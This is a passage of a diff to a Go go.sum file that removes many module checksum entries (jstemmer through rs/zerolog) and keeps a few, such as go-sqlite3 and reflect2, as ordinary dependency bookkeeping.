-github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk=
-github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU=
-github.com/juju/ratelimit v1.0.1/go.mod h1:qapgC/Gy+xNh9UxzV13HGGl/6UXNN+ct+vwSgWNm/qk=
-github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w=
-github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM=
-github.com/kardianos/service v1.2.0/go.mod h1:CIMRFEJVL+0DS1a3Nx06NaMn4Dz63Ng6O7dl0qH0zVM=
-github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
-github.com/kevinburke/ssh_config v0.0.0-20190725054713-01f96b0aa0cd/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM=
-github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q=
-github.com/kisielk/errcheck v1.2.0/go.mod h1:/BMXB+zMLi60iA8Vv6Ksmxu/1UDYcXs4uQLJ+jE2L00=
-github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
-github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
-github.com/klauspost/compress v1.12.3/go.mod h1:8dP1Hq4DHOhN9w426knH3Rhby4rFm6D8eO+e+Dq5Gzg=
-github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
-github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
-github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
-github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=
-github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
-github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
-github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
-github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
-github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
-github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
-github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
-github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
-github.com/letsencrypt/pkcs11key/v4 v4.0.0/go.mod h1:EFUvBDay26dErnNb70Nd0/VW3tJiIbETBPTl9ATXQag=
-github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
-github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
-github.com/lib/pq v1.1.1/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
-github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
-github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
-github.com/lightstep/lightstep-tracer-common/golang/gogo v0.0.0-20190605223551-bc2310a04743/go.mod h1:qklhhLq1aX+mtWk9cPHPzaBjWImj5ULL6C7HFJtXQMM=
-github.com/lightstep/lightstep-tracer-go v0.18.1/go.mod h1:jlF1pusYV4pidLvZ+XD0UBX0ZE6WURAspgAczcDHrL4=
-github.com/lxn/walk v0.0.0-20210112085537-c389da54e794/go.mod h1:E23UucZGqpuUANJooIbHWCufXvOcT6E7Stq81gU+CSQ=
-github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
-github.com/lyft/protoc-gen-validate v0.0.13/go.mod h1:XbGvPuh87YZc5TdIa2/I4pLk0QoUACkjt2znoq26NVQ=
-github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
-github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
-github.com/manifoldco/promptui v0.9.0 h1:3V4HzJk1TtXW1MTZMP7mdlwbBpIinw3HztaIlYthEiA=
-github.com/manifoldco/promptui v0.9.0/go.mod h1:ka04sppxSGFAtxX0qhlYQjISsg9mR4GWtQEhdbn6Pgg=
-github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
-github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ=
-github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
-github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
-github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
-github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
-github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
-github.com/mattn/go-ieproxy v0.0.0-20190610004146-91bb50d98149/go.mod h1:31jz6HNzdxOmlERGGEc4v/dMssOfmp2p5bT/okiKFFc=
-github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
-github.com/mattn/go-isatty v0.0.4/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
-github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
-github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
-github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
-github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
-github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
-github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
-github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
-github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
-github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
-github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
-github.com/mattn/go-shellwords v1.0.10/go.mod h1:EZzvwXDESEeg03EKmM+RmDnNOPKG4lLtQsUlTZDWQ8Y=
github.com/mattn/go-sqlite3 v1.14.9 h1:10HX2Td0ocZpYEjhilsuo6WWtUqttj2Kb0KtD86/KYA=
github.com/mattn/go-sqlite3 v1.14.9/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
-github.com/mattn/go-zglob v0.0.1/go.mod h1:9fxibJccNxU2cnpIKLRRFA7zX7qhkJIQWBb449FYHOo=
-github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
-github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
-github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d h1:5PJl274Y63IEHC+7izoQE9x6ikvDFZS2mDVS3drnohI=
-github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
-github.com/micromdm/scep/v2 v2.1.0/go.mod h1:BkF7TkPPhmgJAMtHfP+sFTKXmgzNJgLQlvvGoOExBcc=
-github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
-github.com/miekg/dns v1.1.43/go.mod h1:+evo5L0630/F6ca/Z9+GAqzhjGyn8/c+TBaOyfEl0V4=
-github.com/miekg/pkcs11 v1.0.2/go.mod h1:XsNlhZGX73bx86s2hdc/FuaLm2CPZJemRLMA+WTFxgs=
-github.com/miekg/pkcs11 v1.0.3-0.20190429190417-a667d056470f/go.mod h1:XsNlhZGX73bx86s2hdc/FuaLm2CPZJemRLMA+WTFxgs=
-github.com/miekg/pkcs11 v1.0.3/go.mod h1:XsNlhZGX73bx86s2hdc/FuaLm2CPZJemRLMA+WTFxgs=
-github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc=
-github.com/mitchellh/copystructure v1.0.0/go.mod h1:SNtv71yrdKgLRyLFxmLdkAbkKEFWgYaq1OVrnRcwhnw=
-github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s=
-github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
-github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
-github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI=
-github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg=
-github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY=
-github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
-github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
-github.com/mitchellh/reflectwalk v1.0.0/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw=
-github.com/mitchellh/reflectwalk v1.0.1/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw=
-github.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
-github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
-github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
-github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826/go.mod h1:TaXosZuwdSHYgviHp1DAtfrULt5eUgsSMsZf+YrPgl8=
-github.com/mreiferson/go-httpclient v0.0.0-20160630210159-31f0106b4474/go.mod h1:OQA4XLvDbMgS8P0CevmM4m9Q3Jq4phKUzcocxuGJ5m8=
-github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
-github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
-github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007/go.mod h1:m2XC9Qq0AlmmVksL6FktJCdTYyLk7V3fKyp0sl1yWQo=
-github.com/mwitkow/go-proto-validators v0.2.0/go.mod h1:ZfA1hW+UH/2ZHOWvQ3HnQaU0DtnpXu850MZiy+YUgcc=
-github.com/nats-io/jwt v0.3.0/go.mod h1:fRYCDE99xlTsqUzISS1Bi75UBJ6ljOJQOAAu5VglpSg=
-github.com/nats-io/jwt v0.3.2/go.mod h1:/euKqTS1ZD+zzjYrY7pseZrTtWQSjujC7xjPc8wL6eU=
-github.com/nats-io/nats-server/v2 v2.1.2/go.mod h1:Afk+wRZqkMQs/p45uXdrVLuab3gwv3Z8C4HTBu8GD/k=
-github.com/nats-io/nats.go v1.9.1/go.mod h1:ZjDU1L/7fJ09jvUSRVBR2e7+RnLiiIQyqyzEE/Zbp4w=
-github.com/nats-io/nkeys v0.1.0/go.mod h1:xpnFELMwJABBLVhffcfd1MZx6VsNRFpEugbxziKVo7w=
-github.com/nats-io/nkeys v0.1.3/go.mod h1:xpnFELMwJABBLVhffcfd1MZx6VsNRFpEugbxziKVo7w=
-github.com/nats-io/nuid v1.0.1/go.mod h1:19wcPz3Ph3q0Jbyiqsd0kePYG7A95tJPxeL+1OSON2c=
-github.com/nbrownus/go-metrics-prometheus v0.0.0-20210712211119-974a6260965f/go.mod h1:nwPd6pDNId/Xi16qtKrFHrauSwMNuvk+zcjk89wrnlA=
-github.com/newrelic/go-agent v2.15.0+incompatible/go.mod h1:a8Fv1b/fYhFSReoTU6HDkTYIMZeSVNffmoS726Y0LzQ=
-github.com/ngdinhtoan/glide-cleanup v0.2.0/go.mod h1:UQzsmiDOb8YV3nOsCxK/c9zPpCZVNoHScRE3EO9pVMM=
-github.com/nishanths/predeclared v0.0.0-20200524104333-86fad755b4d3/go.mod h1:nt3d53pc1VYcphSCIaYAJtnPYnr3Zyn8fMq2wvPGPso=
-github.com/oklog/oklog v0.3.2/go.mod h1:FCV+B7mhrz4o+ueLpx+KqkyXRGMWOYEvfiXtdGtbWGs=
-github.com/oklog/run v1.0.0/go.mod h1:dlhp/R75TPv97u0XWUtDeV/lRKWPKSdTuV0TZvrmrQA=
-github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U=
-github.com/olekukonko/tablewriter v0.0.0-20170122224234-a0225b3f23b5/go.mod h1:vsDQFd/mU46D+Z4whnwzcISnGGzXWMclvtLoiIKAKIo=
-github.com/olekukonko/tablewriter v0.0.4/go.mod h1:zq6QwlOf5SlnkVbMSr5EoBv3636FWnp+qbPhuoO21uA=
-github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY=
-github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
-github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
-github.com/onsi/ginkgo v1.10.3/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
-github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
-github.com/onsi/gomega v1.5.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
-github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=
-github.com/op/go-logging v0.0.0-20160315200505-970db520ece7/go.mod h1:HzydrMdWErDVzsI23lYNej1Htcns9BCg93Dk0bBINWk=
-github.com/opentracing-contrib/go-observer v0.0.0-20170622124052-a52f23424492/go.mod h1:Ngi6UdF0k5OKD5t5wlmGhe/EDKPoUM3BXZSSfIuJbis=
-github.com/opentracing/basictracer-go v1.0.0/go.mod h1:QfBfYuafItcjQuMwinw9GhYKwFXS9KnPs5lxoYwgW74=
-github.com/opentracing/opentracing-go v1.0.2/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
-github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
-github.com/openzipkin-contrib/zipkin-go-opentracing v0.4.5/go.mod h1:/wsWhb9smxSfWAKL3wpBW7V8scJMt8N8gnaMCS9E/cA=
-github.com/openzipkin/zipkin-go v0.1.6/go.mod h1:QgAqvLzwWbR/WpD4A3cGpPtJrZXNIiJc5AZX7/PBEpw=
-github.com/openzipkin/zipkin-go v0.2.1/go.mod h1:NaW6tEwdmWMaCDZzg8sh+IBNOxHMPnhQw8ySjnjRyN4=
-github.com/openzipkin/zipkin-go v0.2.2/go.mod h1:NaW6tEwdmWMaCDZzg8sh+IBNOxHMPnhQw8ySjnjRyN4=
-github.com/otiai10/copy v1.2.0/go.mod h1:rrF5dJ5F0t/EWSYODDu4j9/vEeYHMkc8jt0zJChqQWw=
-github.com/otiai10/curr v0.0.0-20150429015615-9b4961190c95/go.mod h1:9qAhocn7zKJG+0mI8eUu6xqkFDYS2kb2saOteoSB3cE=
-github.com/otiai10/curr v1.0.0/go.mod h1:LskTG5wDwr8Rs+nNQ+1LlxRjAtTZZjtJW4rMXl6j4vs=
-github.com/otiai10/mint v1.3.0/go.mod h1:F5AjcsTsWUqX+Na9fpHb52P8pcRX2CI6A3ctIT91xUo=
-github.com/otiai10/mint v1.3.1/go.mod h1:/yxELlJQ0ufhjUwhshSj+wFjZ78CnZ48/1wtmBH1OTc=
-github.com/pact-foundation/pact-go v1.0.4/go.mod h1:uExwJY4kCzNPcHRj+hCR/HBbOOIwwtUjcrb0b5/5kLM=
-github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
-github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k=
-github.com/pelletier/go-buffruneio v0.2.0/go.mod h1:JkE26KsDizTr40EUHkXVtNPvgGtbSNq5BcowyYOWdKo=
-github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
-github.com/performancecopilot/speed v3.0.0+incompatible/go.mod h1:/CLtqpZ5gBg1M9iaPbIdPPGyKcA8hKdoy6hAWba7Yac=
-github.com/pierrec/lz4 v1.0.2-0.20190131084431-473cd7ce01a1/go.mod h1:3/3N9NVKO0jef7pBehbT1qWhCMrIgbYNnFAZCqQ5LRc=
-github.com/pierrec/lz4 v2.0.5+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY=
-github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
-github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
-github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
-github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
-github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6JUPA=
-github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
-github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
-github.com/pquerna/otp v1.0.0/go.mod h1:Zad1CMQfSQZI5KLpahDiSUX4tMMREnXw98IvL1nhgMk=
-github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
-github.com/prometheus/client_golang v0.9.3-0.20190127221311-3c4408c8b829/go.mod h1:p2iRAGwDERtqlqzRXnrOVns+ignqQo//hLXqYxZYVNs=
-github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso=
-github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo=
-github.com/prometheus/client_golang v1.3.0/go.mod h1:hJaj2vgQTGQmVCsAACORcieXFeDPbaTKGT+JTgUa3og=
-github.com/prometheus/client_golang v1.5.1/go.mod h1:e9GMxYsXl05ICDXkRhurwBS4Q3OK1iX/F2sw+iXX5zU=
-github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M=
-github.com/prometheus/client_golang v1.10.0/go.mod h1:WJM3cc3yu7XKBKa/I8WeZm+V3eltZnBwfENSU7mdogU=
-github.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0=
-github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
-github.com/prometheus/client_model v0.0.0-20190115171406-56726106282f/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
-github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
-github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
-github.com/prometheus/client_model v0.1.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
-github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
-github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro=
-github.com/prometheus/common v0.2.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4=
-github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4=
-github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4=
-github.com/prometheus/common v0.7.0/go.mod h1:DjGbpBbp5NYNiECxcL/VnbXCCaQpKd3tt26CguLLsqA=
-github.com/prometheus/common v0.9.1/go.mod h1:yhUN8i9wzaXS3w1O07YhxHEBxD+W35wd8bs7vj7HSQ4=
-github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo=
-github.com/prometheus/common v0.18.0/go.mod h1:U+gB1OBLb1lF3O42bTCL+FK18tX9Oar16Clt/msog/s=
-github.com/prometheus/common v0.26.0/go.mod h1:M7rCNAaPfAosfx8veZJCuw84e35h3Cfd9VFqTh1DIvc=
-github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+M/gUGO4Hls=
-github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=
-github.com/prometheus/procfs v0.0.0-20190117184657-bf6a532e95b1/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=
-github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA=
-github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA=
-github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A=
-github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU=
-github.com/prometheus/procfs v0.2.0/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU=
-github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA=
-github.com/prometheus/procfs v0.7.3/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA=
-github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU=
-github.com/pseudomuto/protoc-gen-doc v1.4.1/go.mod h1:exDTOVwqpp30eV/EDPFLZy3Pwr2sn6hBC1WIYH/UbIg=
-github.com/pseudomuto/protokit v0.2.0/go.mod h1:2PdH30hxVHsup8KpBTOXTBeMVhJZVio3Q8ViKSAXT0Q=
-github.com/rcrowley/go-metrics v0.0.0-20181016184325-3113b8401b8a/go.mod h1:bCqnVzQkZxMG4s8nGwiZ5l3QUCyqpo9Y+/ZMZ9VjZe4=
-github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475/go.mod h1:bCqnVzQkZxMG4s8nGwiZ5l3QUCyqpo9Y+/ZMZ9VjZe4=
-github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
-github.com/rogpeppe/fastuuid v1.1.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ=
-github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ=
-github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
-github.com/rs/cors v1.7.0/go.mod h1:gFx+x8UowdsKA9AchylcLynDq+nNFfI8FkUZdN/jGCU=
-github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ=
-github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU=
-github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc=
